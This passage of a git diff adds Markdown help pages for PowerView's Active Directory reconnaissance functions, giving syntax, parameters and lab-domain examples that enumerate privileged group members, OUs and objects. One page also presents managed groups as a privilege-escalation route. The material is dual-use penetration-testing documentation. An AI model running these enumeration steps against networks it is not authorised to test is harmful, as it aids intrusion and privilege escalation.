Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Group + +Custom PSObject with translated group property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGroupMember.md b/docs/Recon/Get-DomainGroupMember.md new file mode 100755 index 0000000..5381b2c --- /dev/null +++ b/docs/Recon/Get-DomainGroupMember.md @@ -0,0 +1,401 @@ +# Get-DomainGroupMember + +## SYNOPSIS +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +## SYNTAX + +### None (Default) +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-LDAPFilter ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] + [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +### ManualRecurse +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-Recurse] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +### RecurseUsingMatchingRule +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-RecurseUsingMatchingRule] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. +Each result is then rebound and the full user +or group object is returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGroupMember "Desktop Admins" +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'Desktop Admins' | Get-DomainGroupMember -Recurse +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember +``` + +### -------------------------- EXAMPLE 5 -------------------------- +``` +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember +``` + +### -------------------------- EXAMPLE 6 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +### -------------------------- EXAMPLE 7 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainGroupMember\] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainGroupMember\] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Recurse +Switch. +If the group member is a group, recursively try to query its members as well. + +```yaml +Type: SwitchParameter +Parameter Sets: ManualRecurse +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RecurseUsingMatchingRule +Switch. +Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +```yaml +Type: SwitchParameter +Parameter Sets: RecurseUsingMatchingRule +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/](http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/) + diff --git a/docs/Recon/Get-DomainManagedSecurityGroup.md b/docs/Recon/Get-DomainManagedSecurityGroup.md new file mode 100755 index 0000000..13d48a2 --- /dev/null +++ b/docs/Recon/Get-DomainManagedSecurityGroup.md @@ -0,0 +1,177 @@ +# Get-DomainManagedSecurityGroup + +## SYNOPSIS +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) \, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +## SYNTAX + +``` +Get-DomainManagedSecurityGroup [[-Domain] ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. +This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. +This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv +``` + +Store a list of all security groups with managers in group-managers.csv + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainOU.md b/docs/Recon/Get-DomainOU.md new file mode 100755 index 0000000..cc1fd39 --- /dev/null +++ b/docs/Recon/Get-DomainOU.md @@ -0,0 +1,316 @@ +# Get-DomainOU + +## SYNOPSIS +Search for all organization units (OUs) or specific OU objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainOU [[-Identity] ] [-GPLink ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all OU objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainOU +``` + +Returns the current OUs in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainOU *admin* -Domain testlab.local +``` + +Returns all OUs with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all OUs with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +"*admin*","*server*" | Get-DomainOU +``` + +Search for OUs with the specific names. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred + +## PARAMETERS + +### -Identity +An OU name (e.g. +TestOU), DistinguishedName (e.g. +OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. +8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GPLink +Only return OUs with the specified GUID in their gplink property. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GUID + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.OU + +Custom PSObject with translated OU property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainObject.md b/docs/Recon/Get-DomainObject.md new file mode 100755 index 0000000..f900c53 --- /dev/null +++ b/docs/Recon/Get-DomainObject.md @@ -0,0 +1,318 @@ +# Get-DomainObject + +## SYNOPSIS +Return all (or specified) domain objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName + +## SYNTAX + +``` +Get-DomainObject [[-Identity] ] [-Domain ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] [-Credential ] + [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainObject -Domain testlab.local +``` + +Return all objects for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname +``` + +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) + +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainObjectAcl.md b/docs/Recon/Get-DomainObjectAcl.md new file mode 100755 index 0000000..97f70cd --- /dev/null +++ b/docs/Recon/Get-DomainObjectAcl.md @@ -0,0 +1,251 @@ +# Get-DomainObjectAcl + +## SYNOPSIS +Returns the ACLs associated with a specific active directory object. + +Author: Will 